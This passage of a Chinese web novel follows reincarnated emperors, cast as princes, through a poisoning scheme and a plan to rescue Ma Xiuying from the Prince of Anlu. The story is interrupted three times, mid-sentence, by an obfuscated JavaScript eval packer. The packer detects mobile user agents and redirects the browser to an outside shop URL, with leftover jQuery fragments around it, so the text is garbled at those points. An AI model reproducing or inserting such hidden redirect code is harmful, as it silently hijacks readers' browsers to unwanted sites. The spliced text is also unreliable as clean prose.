当周宛宁发现肚子出现异样感觉的时候,已经完全来不及了。
突然吃得又多又油腻,周宛宁的肠胃一点没惯着他,特别坚决地给了他一个教训。
赵匡胤在小摊前头挑面人,李世民感觉有人在拽他袖子,低头一看,周宛宁的脸色已经煞白。
“小宁,你怎么了?”
周宛宁刚要回答,可一开口,“哕”地一声就吐了出来。
“来人!来人!马车呢?快回宫!”
李世民马上就想把周宛宁扛回宫去,可周宛宁有气无力地拒绝了:“不,不行,哥……我……我现在需要去茅厕……”
他要腹泻了!
“可这是街上啊,两边都是店,哪儿有茅厕……”
李世民当机立断:“走,我们去店里,使点银子,让店主借给我们。小忠子,你去给你主子买身合身的新衣服!伏威,你去四周找找有没有药堂,抓个坐诊的大夫过来!”
天可汗雷厉风行,打横抱起周宛宁就冲进隔壁一间陶器店。侍卫揪着掌柜问出茅房位置,大喊:“我们家小主子腹中不适!快说!你们家茅房在哪儿?!”
周宛宁羞耻得快钻到地里去了——
别喊,别喊,再这么喊,半个京城都要知道他快拉裤兜子了!
到时候史书记载:皇五子幼时出游,腹泻,强占百姓厕所……
不过周宛宁也没多余的脑子去想七想八,肚子就跟有人拿着刀捅进去搅动一样痛,痛得他都忍不住怀疑自己是不是吃了一把石子进去。
陶器店的茅房在店后的小院里,周宛宁整个人虚弱地蹲了半天,边蹲边给自己做诊断。
呕吐,腹泻,伴弥漫性腹痛,大概率是急性肠胃炎。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16907657|191236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他还按了按麦氏点,发现没有反跳痛,排除了阑尾炎的鉴别诊断。
怪了,兄弟三个里面,怎么只有他得了急性肠胃炎?明明大家吃的是同一桌菜啊!
难道真的是他的肠胃最脆弱?
不应该啊,从小到大周宛宁都挺健康的,之前也没发生过这么严重的上吐下泻。
有人投毒?
周宛宁晃晃脑袋,感觉不太合理:可他们是一起吃的饭……
等一下,有一盘卤鸭子是单独点给他的,其余人都没吃。
莫非问题出在卤鸭子上?
周宛宁琢磨了半天,发现琢磨不出什么门道,只好放弃推理。
“当啷!”
“咚!”
茅房外突然传来两声奇怪的异响,周宛宁心中一突,赶紧收拾收拾准备离开。
他的衣服刚刚被自己吐脏了,李世民已经叫魏忠贤去给他买新衣服,这套衣服一会儿大概率会被扔掉,于是周宛宁撕下一截布料,给自己擦了擦,然后迅速走出了茅房。
一出茅房,他就吓了一跳。
眼前,陶器店窄小的后院里已经倒了一个人,地上散落着一地陶瓷碎片。一个看起来有些瘦削的少年正用脚尖去踢那人的手。
听见周宛宁推门的响动,他回头瞥了一眼,懒洋洋道:“贵人,又见面了。”
这时,李世民和赵匡胤也冲进院落。见到院中有人倒地,赵匡胤青筋暴起,捏起拳头就冲了上去:“你竟敢——”
少年敏捷地向旁边一躲,赵匡胤却早有预判,手像铁钳一样抓向他的脖子。
李世民已经护住了周宛宁,他上下检查了一番周宛宁的情况,脸色极差:“这是个局,有人想趁机对你不利!”
那头,赵匡胤和少年已经过了三招,少年一味地躲闪,并喊:
“贵人,咱救了你们弟弟!你们不辨缘由,上来就动粗,是何道理?”
赵匡胤几乎没见过能在他手下过上三招的人,更何况对方看起来营养不良,可打起来却像是经年比斗的好手。
少年向后猛地一退,摆出抵挡的架势,笑着问:“贵人,可还记得咱?”
周宛宁向他看去,认出来了:“——你是上午那个唱莲花落的!”
乞丐少年说:“正是。好贵人,你给咱赏了不少金银,在外露了富,可就叫人盯上了。这街上有一帮人,专门做勒索生意,见着贵人你这样脸嫩的富家少爷就会下手。贵人,你仔细想想,先前是不是吃了什么味道重的菜?”
周宛宁立刻想起来:“那盘卤鸭子。”
乞丐少年点点头:“这就是了,卤货味重,能掩盖加料的味道。那帮人在正店里有帮凶,目的就是让吃着菜的人快速中招,在路上发急病。他们遣人一路跟着,只要贵人落单,他们就上前绑人或勒索,前些日子已经得手过几回了。”
赵匡胤依旧警惕:“难说你和他们不是一伙儿的。”
乞丐少年失笑:“咱犯不上用这么下作的手段。唱唱莲花落就能挣着贵人给的金珠子,何苦犯法呢?”
李世民沉声问:“即便你和他们不是一伙的,你又为什么要帮我们?”
乞丐少年扫了一眼被李世民护在身后的周宛宁,淡淡地说:
“贵人心善,咱想以此为机会结识贵人,求贵人一件事。”
“咱的妹子被卖到安陆王王府里头去了,咱想把妹子救出来。”
23.第 23 章
周宛宁换上了新衣服,抱着一碗热水慢吞吞地在喝。
他们给陶器店店主一粒金珠,把店封起来,暂作休整。周宛宁被安顿在陶器店店主的房间里,裹着小被,因为轻微脱水有点萎靡。
被抓来的大夫还有些惊魂未定,但看到李世民排出来的银锭,他立刻抛下被强行架过来出急诊的怨言,认认真真地给周宛宁把脉,还给他开了方子。
陶器店已经被李世民和赵匡胤带来的人把守住前后门,被踢晕的男子也被结结实实绑了起来,一盆凉水下去,魏忠贤自告奋勇去进行审问。
行,东厂头目九千岁做这个也算是专业对口。
乞丐少年没有被审问,他被拎进屋,由赵匡胤贴身监视。
他倒一点不在意眼下的处境,兴致盎然地和赵匡胤搭话:“黑大个儿,你本事好大,咱没见过在这个年纪能打过咱的,你是武状元吗?”
赵匡胤瞪他一眼:“什么武状元,你的大腿还没我胳膊粗,能打过我就怪了,赢了你也胜之不武。”
乞丐少年点点头:“这你倒是说对了,要是咱吃饱了饭,把身体养好了,和你未必没有一战之力。”
周宛宁喝了口热水,幽幽地说:“你就是把自己吃成200斤都打不过我哥。”
赵匡胤瞬间挺起胸膛。
乞丐少年上下打量了一圈赵匡胤,问:“真的假的?你在哪儿学的武?”
赵匡胤反问:“你又是怎么盯上我们兄弟的?到现在我们都还不知道你是谁呢。”
乞丐少年还没回话。李世民带着魏忠贤进了屋。
魏忠贤进屋就扑到周宛宁身前去检查他的状态,眼泪汪汪:“哎呦,主子,您好点没?”
周宛宁捧着碗,说:“还行。哥,你们审得怎么样?”
李世民看周宛宁状态尚可,也松了口气:“你没事就好。你这太监确实有一手,很快就问出来了,和这乞儿说的确实一样,他跟那帮人也不是一伙的。我叫人去顺天府叫他们拿人去了。”
接下来,屋中几人的目光都集中到了乞丐少年身上。
乞丐少年坦然道:“咱叫朱重八,凤阳人,和你们这些有钱人不一样,咱爹妈都是农民。”
行,这下连“鉴定术”都不用开了。
谢谢你,老朱!
周宛宁努力稳住,不让他的震惊表现得太明显。但他发现还有一个人的表情比他更离谱:
魏忠贤已经大脑一片空白了。
只见魏忠贤脸色惨白,难以置信地看向朱重八,但他骨子里的恐惧又让他不敢直视对方,他就只能瞟了一眼,低头抖两下,再瞟一眼,再低头抖两下。
这就是大明羁绊!
朱重八也观察到了魏忠贤的异常,他问:“你对咱是农民有什么意见啊,太监?”
魏忠贤差点跪下,周宛宁眼疾手快,把手里的碗强行塞了过去:“小忠子,给我兑点温水,太烫了我喝不下去。”
李世民和赵匡胤当然也察觉到了魏忠贤的异常。他们看了一眼强装镇定走出房间的魏忠贤,问朱重八:“你怎么知道他是太监?”
朱重八厌烦道:“这不是一眼就看出来了?咱村里有个光棍,小时候活不下去,把自己切了,想进王府里做个太监。结果王府不要,他只好回来讨饭。”
李世民玩味地问:“那你知不知道什么人才配用太监服侍?”
朱重八说:“当然,咱刚才不是已经给你们磕过头了吗,小贵人?”
李世民笑了:“你很聪明,又有胆识。你想让我们帮你去安陆王府赎人?”
朱重八点点头:“妹子是咱的命根子,只要能救出妹子,咱算欠你们一条命。”
周宛宁可以帮忙作保,这百分百是真的。
要是没救出他妹子,那就得别人给朱重八偿命了。
李世民用眼神询问赵匡胤,还没等赵匡胤说什么,周宛宁就开口问:
“你提到的妹子,是你的亲妹妹?你说你是凤阳人,可她怎么会被卖到安陆去的?安陆王还能从凤阳买人?”
凤阳在安徽,安陆在湖北,这两个地方完全不挨着。
要是一个藩王能把手伸到别的省份去,那这位安陆王的手段可要让朝廷好好留心了。
朱重八抿了一下嘴唇,说:“她不是我亲妹妹,她是我媳妇儿。”
赵匡胤:“你才几岁?你就有媳妇儿了?”
朱重八:“是未婚妻。”
赵匡胤:“那也够早的。”
朱重八骄傲道:“那是,咱妹子和咱是累世因缘!咱妹子长得好看还聪明,十里八乡都说她是女秀才!她还会织布纺花……会算账……会做饭……会……”
李世民赶紧说:“行了行了,可以了,既然你妹子这么好,你怎么不把她看住了,还让别人把她给卖了呢?”
被问及痛处,朱重八双眼闪过一丝愤恨的杀意,他咬牙道:
“咱妹子的爹娘去得早,她大伯把她家的家产吞了,每个月打发她一些银子,让她饿不死就成。咱和妹子准备成婚,她看咱家里头掏不出几个子儿,就说要回大伯家把她爹娘留下来的东西分一分,至少给咱盖间新房。她一回去,过了一个月都没见着人。咱去打听,就听说……她已经被卖了!”
“被卖给了一个道士!”
李世民不由得疑惑:“道士?”
朱重八说:“对,道士!咱后来找上她大伯,卸了他一条胳膊,他才肯说。原是他们那儿来了个道士,据说是给贵人看相的。他说,京城里头皇帝要选娘娘,选的都是命格贵重的人。要是有谁家女儿八字合适,他就能把那家女儿送到京里去。”
李世民和赵匡胤对视一眼,赵匡胤说:“她大伯被骗了。选秀不是这么选的,怎么也是由官府出面,从良善人家里头遴选,让道士来挑人简直是闻所未闻。”
朱重八越发愤怒:“咱一听就知道,她大伯其实也无所谓被不被骗,因为那道士给钱!十两,就出了十两,他就把咱妹子卖了!咱的妹子!咱这辈子也不求什么大富大贵了,咱的指望就是和她好好过一辈子,他竟敢,他——”
这时,魏忠贤也回来了。
周宛宁赶紧让他把端来的水给朱重八喝,让朱重八从激动中缓一缓。
魏忠贤用对待皇帝的规格双手将水碗捧给朱重八,朱重八习以为常地接过,喝了一口,继续道:
“她大伯要报官抓咱,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16912584|191236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
咱也无所谓,收拾了东西就去追那个道士了。一路追,终于追上,却发现咱妹子不在那个道士身边。咱给他揍了个半死,那臭牛鼻子就招了,说他是替安陆王办事,安陆王在搜集八字贵重的少女,买来之后一起运到京城。咱听说之后就一路马不停蹄赶到京城来,比那安陆王还早几天。”
这事儿听起来就透着股诡异。
安陆王搜集八字贵重的少女干什么?
更离谱的是,他在安陆偷偷搞这个就算了,为何要运到京城来?
李世民和赵匡胤深思之时,周宛宁率先打破沉默,他说:
“我会回去帮你查一下秀女名单的。你妹子叫什么?”
两个哥哥惊异地看向周宛宁,显然是不明白他为什么这么直白地就应了下来,甚至还说要去查秀女名单!
朱重八立刻回答:“咱妹子姓马,叫马秀英。”
魏忠贤把头埋得更低,周宛宁点点头表示自己记住了,然后他把自己的荷包掏出来,整个儿都递给朱重八:“你先拿去用,有眉目了我再来找你。你现在住在哪儿?”
朱重八有些意外。
他接过荷包,掂出金额之后,又看看一旁的李世民和赵匡胤,问:
“你们不怕咱是骗子?”
赵匡胤淡淡道:“你确实像骗子。你说你是农民出身,但在我看来,从见面开始,你的身手,胆识,谈吐,头脑,有十几年江湖经验的游侠恐怕都比不上你。”
朱重八笑了一声:“那你怎么不拦着点你弟弟?”
李世民说:“我们并不差这点银子,但如果你说的是真的,安陆王的确有问题,那我们能救出来的何止是一个马秀英。勿以善小而不为,若是见到不平之事袖手旁观,那就没有资格被称为君子。”
朱重八深深看了一眼兄弟三人,然后郑重一拱手:“咱有眼不识泰山了。几位殿下侠义心肠,今日能结识诸位,也是我辈荣幸。”
周宛宁松了口气。
好在李世民和赵匡胤都是极具游侠风格的人,李世民年轻时身为“太原公子”就交游广阔,赵匡胤更是在道上混过,还留下了“千里送京娘”这种极具武侠风格的传说。
赵匡胤说:“秀女名册,我娘那儿也有一份,我回去也能查。我还可以去打听打听安陆王这次进京的其他消息。老二,你怎么说?”
李世民那头像是在想些什么事。
过了一会儿,他慢吞吞地敲了敲桌子:“诸位,咱刚才不是见过安陆王了么?”
周宛宁点头:“嗯,他在跳大神。”
李世民没纠正他,脸上露出一丝奇异的笑:“法会要持续七七四十九天,他是主祭,今日是必须要在白云观待上一整天的。也就是说,他现在住的地方,大概没几个人看着。”
三个男生凑在一起就会随机产生一个点子王,更何况这个房间里齐聚了唐宗宋祖洪武大帝三个顶级点子王。
赵匡胤搓了搓手,突然扭头问朱重八:“你使什么兵器?”
朱重八立刻回答:“刀,剑,都行。咱不挑。”
赵匡胤站起身,对侍从大声道:“取俺盘龙棍来,再给这位朱兄弟拿把刀!咱们这就上安陆王府会上一会!”
24.第 24 章
朱重八之前就打听过安陆王的住处,他主动提出要为各位领路。
但李世民按住了赵匡胤,他没让大家就这么过去,而是叫朱重八和赵匡胤都换上侍卫的衣服。
“大军压境,虽然有冲阵大将,但也需要军师排兵布阵。”
李世民不知道从哪儿抽出一把折扇摇了摇,悠悠道:“眼下嘛,我就暂领军师一职,为接下来的行动谋划一二。你们可同意?”
赵匡胤干脆地说:“我没意见。你呢,朱兄弟?”
朱重八打量了一圈李世民,说:“咱可以先听听你是怎么谋划的。”
周宛宁知道自己的意见不重要,他能做的就是默默地继续喝热水。
见没有人反对,李世民点了一下头,说:“咱们不能直接杀进安陆王府叫他们放人。行军要先派遣斥候,侦查敌军方位动向。因此我们兵分两路,我和小宁从正门进王府假意拜访,替你们吸引注意,老三你和小朱扮作侍卫,趁机会溜进院子,打探一下马姑娘被他们关在何处。”
这个分组比较合理,赵匡胤武力值最高,朱重八也不遑多让,他俩的江湖经验还都非常丰富,做侦查是最合适的。
不过……
“不中。”
赵匡胤提出反对,他拧紧眉头,说:“小宁身体不好,不该把他牵扯进来,我们该马上把他送回宫。”
李世民也犹豫了,周宛宁察觉到他的迟疑,连忙放下热水碗,活动活动胳膊,展示自己目前的强壮:“我没事儿!我可以去,我也想帮上忙!”
为了表明他的决心,周宛宁跳到地上,动作僵硬地开始模仿太祖长拳。
看到他如此不堪入目的拳法,赵匡胤闭了闭眼睛,紧急叫停:“好了好了,别打了别打了,唉,是哥没教好你!回去之后哥一定好好教你怎么打……唉!”
朱重八也说:“若是小贵人一起去,反而能降低安陆王府的防备。毕竟小贵人年纪小,这个年纪的孩子是可以提出非分要求的。”
周宛宁问:“什么叫非分要求?”
朱重八说:“你可以躺到地上,一边扭动一边哭,然后大声提出你的任何要求。”
赵匡胤:“啊,那我懂了,一般我们管这个叫‘撒泼’。”
周宛宁:………………
完了,他不会撒泼呀!
这种事刘邦比较熟练,他是真不会!
李世民叹了口气:“小宁是个懂事的孩子,叫他撒泼确实是有点为难他。到时候我来负责见机行事吧,小宁你牢牢跟着我就好。”
周宛宁蔫头耷脑地“嗯”了一声。
没想到他欠缺在这儿了,以后还是得多学习学习老祖宗的智慧。
吕雉:这种智慧没必要学!教我家孩子学点好的吧!
魏忠贤迅速去马车里取来更换的衣服,待大家收拾完毕,朱重八也穿着新衣出现在众人面前。
他虽瘦弱,但双眼湛湛有神,容貌周正,气度出众,在人群中也十分醒目。
周宛宁:我就知道芒果脸是假的!
我们大明有救啦!
周宛宁和魏忠贤主仆两人都盯着朱重八出神,朱重八整了整腰带,抬手在他们面前晃了一下:“怎么这么盯着,咱穿这身不好看?”
魏忠贤暗暗掐自己大腿,不让自己回话。周宛宁就没什么顾忌了,他真诚地夸赞道:“重八哥,你长得真好看。”
朱重八自得地笑笑,李世民也扫他一眼,点点头:“确实,怨不得你这么年轻就有媳妇,马姑娘眼光不错。”
赵匡胤拎着盘龙棍也迈步走了出来,他扯扯自己身上的衣服,笑呵呵地原地转了两圈,让兄弟们都看清楚他的打扮。
不得不说,诸人之中应该只有赵匡胤是真的做过侍卫,他往那儿一站就是个兵,可以大喊:“欢迎业主回家!”的那种。
李世民有点无奈:“你还真把盘龙棍带上了?你怎么走到哪儿都带着它?”
赵匡胤笑着答:“使惯了,带着安心。”
他随手在空中舞了一圈棍棒,只听“呼呼”风声,即便是周宛宁这个门外汉也能看出来,别看这是随意的一招,谁挨上谁骨折。
朱重八看着他舞棍,若有所思:“盘龙棍,很少有人用这种兵器。宫里教皇子习武,一般不都是教什么刀枪剑弓吗?”
赵匡胤看向他:“你还知道宫里头的事儿?”
朱重八面色丝毫未改:“乡下也有说书的,什么都讲,咱还知道皇帝种地使金锄头呢。”
好吧,老朱讲起冷笑话也是一绝。
李世民拍拍马车,说:“上车吧。小朱,你和车夫一起坐,帮忙引路。”
周宛宁又被赵匡胤提溜上车,等大家都坐稳之后,马车开动,李世民又嘱咐起赵匡胤:“那个小朱——”
赵匡胤和李世民对视一眼,笑了一下:“明白,我会盯牢他。”
李世民叹了口气:“太平之年,怎么也有这么多人中龙凤?偏偏还都让我们遇到了,奇也怪哉。”
周宛宁问:“什么人中龙凤?”
李世民耐心地解释:“就是必定会出人头地的人,他们和单纯有才华的人不同,人中龙凤有才华也有心性,心狠又能忍,无论在什么境地都能闯出一番事业。”
“就比如外面这位小朱,小宁,你不要把他的故事当什么寻常的故事来听。他只是一介农民,可他的胆识和头脑让他能找到道士问出马姑娘的下落,敢报复马姑娘的大伯,还能破釜沉舟、抛家舍业地上京城寻找安陆王。寻常农民绝对做不到这些事。”
赵匡胤也沉声道:“他以后必定不能安于做一个农民。”
李世民笑了一声:“让这样的人耕田也太屈才了。其实我倒挺想招揽他,老三,你不准备给自己吸纳些人才吗?”
赵匡胤:“不用,我已经被你吸纳了,记得把我放进凌烟阁。”
李世民:“好说。”
周宛宁茫然地看看李世民又看看赵匡胤,一时之间拿不准主意究竟该不该明知故问“凌烟阁是什么”?
但他能听出来,赵匡胤至少明面上是没有什么夺嫡野心的。他愿意听从李世民的调遣,并不打算自立门户。
其实赵匡胤的选择也能够理解。李世民算是皇帝中的六边形战士了,除了在继承人的问题上短暂翻车一次,其余方面几乎没有缺点,更重要的是他善待功臣。
只要不找死和他争皇位,那大家就不必担心玄武门。
“安陆王府到了。”
几人跳下马车,魏忠贤把周宛宁扶下来,大家都抬起头,打量着这一安陆王在京城里的落脚点。
安陆王府门上的牌匾是这几日才挂起来的。安陆王是藩王,京中并没有他的居所,这处府邸是皇帝上个月赐予他的,用以让他在京城暂住。
等到周天大醮七七四十九天法会完毕,安陆王就该回到他的封地去。
到了门口,魏忠贤快步上前拍门,喊:
“来人!来人!有贵客!”
过不许久,王府大门打开,一名小厮一脸紧张地露出半张脸来:“贵客?不知诸位是……”
魏忠贤摆出九千岁的架子,阴恻恻道:“宫中的贵客!叫你们府上能主事的统统出来,迎接我们二殿下和五殿下!”
李世民笑吟吟地对周宛宁说:“你的这个奴才还真的挺好用,腔调还挺像那么一回事儿。”
周宛宁:当然了,这可是朱由校严选。
没过一会儿,安陆王府的管事就来了。他让小厮大开府门,毕恭毕敬地将李世民和周宛宁请了进去。
“二位殿下,有失远迎,有失远迎。小的实不知二位殿下今日光临,若是王爷在,定要好好招待二位。可是我们王爷现在……”
管事弓着腰把他们请进去,一路上都在点头哈腰地赔礼道歉,说王府招待不周,但话里话外还委婉地透出另一层意思:
安陆王在白云观呢,全城的人都知道,你们挑他不在的时候上门干啥呀?
李世民牵着周宛宁的手,随意道:
“我看见了,你们王爷在白云观做主祭呢。刚才我带小宁见着你们王爷在踏斗。”
管事更疑惑了:
明知道我们王爷在白云观,那你们跑来究竟要做什么?
李世民笑眯眯地解释:“我们小宁没怎么出过宫,今天我带他去白云观看了周天大醮,他可喜欢了,吵着说要来王府玩,说王叔府上一定有好玩的东西。做哥哥的也不好让弟弟难过,所以就带他过来逛逛。”
管事只好转向周宛宁,好声好气地劝:
“五殿下,王府地小,我们王爷刚到京城,府上许多屋子都是空的,实在没有什么好玩的东西……”
李世民给周宛宁使了个眼色。
周宛宁意识到,是他展现技术的时候了!
刚才给他分配的任务是什么来着?
对了,是撒泼!
周宛宁在心里努力回忆了一下当初在儿科轮转看到的场景,给自己做足了心理建设:
为了马姑娘,为了老朱,为了他可爱弟弟朱棣能够父母双全!
拼了!!!
周宛宁甩开李世民的手,“噗通”就躺到了地上,然后开始奋力蹬腿:
“不嘛不嘛!我就要玩儿!我就要玩儿!我要看好玩的!哇啊啊啊啊啊啊啊!!!”
他这一哭,管事头皮发麻,赶紧扑上来劝:“五
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16918802|191236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
殿下!五殿下!有好玩的,有好玩的!”
周宛宁不依不饶,持续进行滚动:“你骗我!你刚才还说没有好玩的!哇啊!我要告诉我娘!我要禀告我爸爸!我要叫我大哥把你们抓走!”
管事焦头烂额,他抬头向李世民投去求助的眼神,李世民苦笑一声,说:
“我这弟弟一哭起来就很难劝住,唉,我也没有办法呀!”
魏忠贤更是厉声喝问:“你们安陆王府都是干什么吃的,竟敢惹哭我们主子!你们是何居心,一个个都吃了熊心豹子胆吗?!”
王府周围的下人都紧张地半围了上来,管事手足无措,想去扶周宛宁又不敢,只能苦兮兮地劝:
“有好玩的,真的有好玩的!我们这儿有……有三清塑像!有炼丹炉!五殿下想不想看炼丹?”
李世民一直在用余光关注赵匡胤和朱重八的侦查小分队,见他们已经悄悄退后,溜进王府之中,他蹲下去,温柔地用手掌摸摸周宛宁的额头:
“好啦,小宁。再哭的话眼睛就要肿了,我们去看炼丹好不好?”
周宛宁马上止住哭声,一骨碌站起来:“好的。”
管事:?
这五皇子的情绪究竟是稳定还是不稳定啊?
魏忠贤立刻凑上来给周宛宁擦脸擦手,他还想给周宛宁把后背擦擦干净,但刚才周宛宁在地上滚得太卖力,有些污渍怎么也擦不掉。
于是魏忠贤又对管事吹胡子瞪眼:“你们府上是怎么待客的,五殿下衣服脏了没看到吗?快给我们五殿下找新衣服去!”
管事:合着你们就是来碰瓷的呗?
拖延时间的战术被一再成功地运用着,换完衣服,周宛宁又说肚子饿。毕竟他刚把午饭都吐出来了。于是安陆王府又去给他准备粥饭。
慢吞吞吃完之后,管事领着周宛宁和李世民去看炼丹炉,周宛宁就像上辈子研究生开组会一样,逮着管事和负责炼丹的道士拼命问:
“这个炉子平时都用来炼什么丹?”
“丹药都有什么品类?”
“丹药的药效你们做过实验吗?”
“有效成分占多少比例?”
“你们拿炼丹的道士直接做人体实验啊?哦,那有没有得到伦理委员会批准?没有伦理委员会,那有没有问过三清?”
一开始道士还对答如流,随着周宛宁问题的深入,他被问得开始冒汗。
不是,这孩子什么来历,他究竟是怎么问得出“你们每年要不要给王叔写国家级自然丹药基金项目申请书”这种话的?
周宛宁则是越问越开心。
博士生一朝翻身做主人,也轮到他做答辩专家啦,呜呼!
他们硬生生把时间拖到天色渐晚,天色透出橘红之时,赵匡胤和朱重八回来了。
李世民和周宛宁告辞,走的时候还打包了他们府上的点心水果。
不白来嗷,不白来。
回到马车上,他们见到一个被五花大绑“呜呜”挣扎的仆役,赵匡胤说:
“安陆王府上没有什么情况,但重八抓了条舌头,他说安陆王在京郊偷偷买了个小庄子,王府往那儿送去了不少人。”
李世民眸光一闪:“看来马姑娘应该就是被藏到京郊了。我们几时动身?”
赵匡胤看了看天色:“还有一个时辰关宫门,要是马车开快一点的话,来得及。”
李世民当机立断:“那就上车!早一日去,马姑娘也能少受些折磨。”
朱重八挤下车夫,拿起缰绳,发狠道:“咱来驾车!”
周宛宁还没问老朱什么时候点亮了驾车技能,他被两个哥哥极快速地塞进车厢。
接着,他就感受到了什么是古典派的风驰电掣。
马车一路狂飙,颠得周宛宁又想把刚才的白粥吐出来了,他艰难地忍住,竖起耳朵听赵匡胤和李世民交流情报:
“……安陆王叫道士从各地买来八字贵重、容貌姣好的姑娘,他自己不碰,就是圈起来养着。我们抓的舌头说,安陆王这回是要给庄子递话,让他们从那些姑娘里头挑出一个有特定八字的,也不知道是要做什么……”
天色渐渐黑沉,出了城,周围灯火开始稀疏。
另有一双眼睛默默看着天色。
“嘘……别怕,记住,一会儿紧紧跟着我就行了,后面无论传出什么声音都不要回头。”
一个大眼睛的姑娘揪住前面少女的袖子,哽咽着问:“马姐姐,我们真的能逃出去吗?”
屋内漆黑一片,马秀英蹲在门边,紧紧盯着看守的动向。
听到小姑娘的询问,她转过头,摸索着,极温柔地帮她拭去眼泪。
“一定能的。”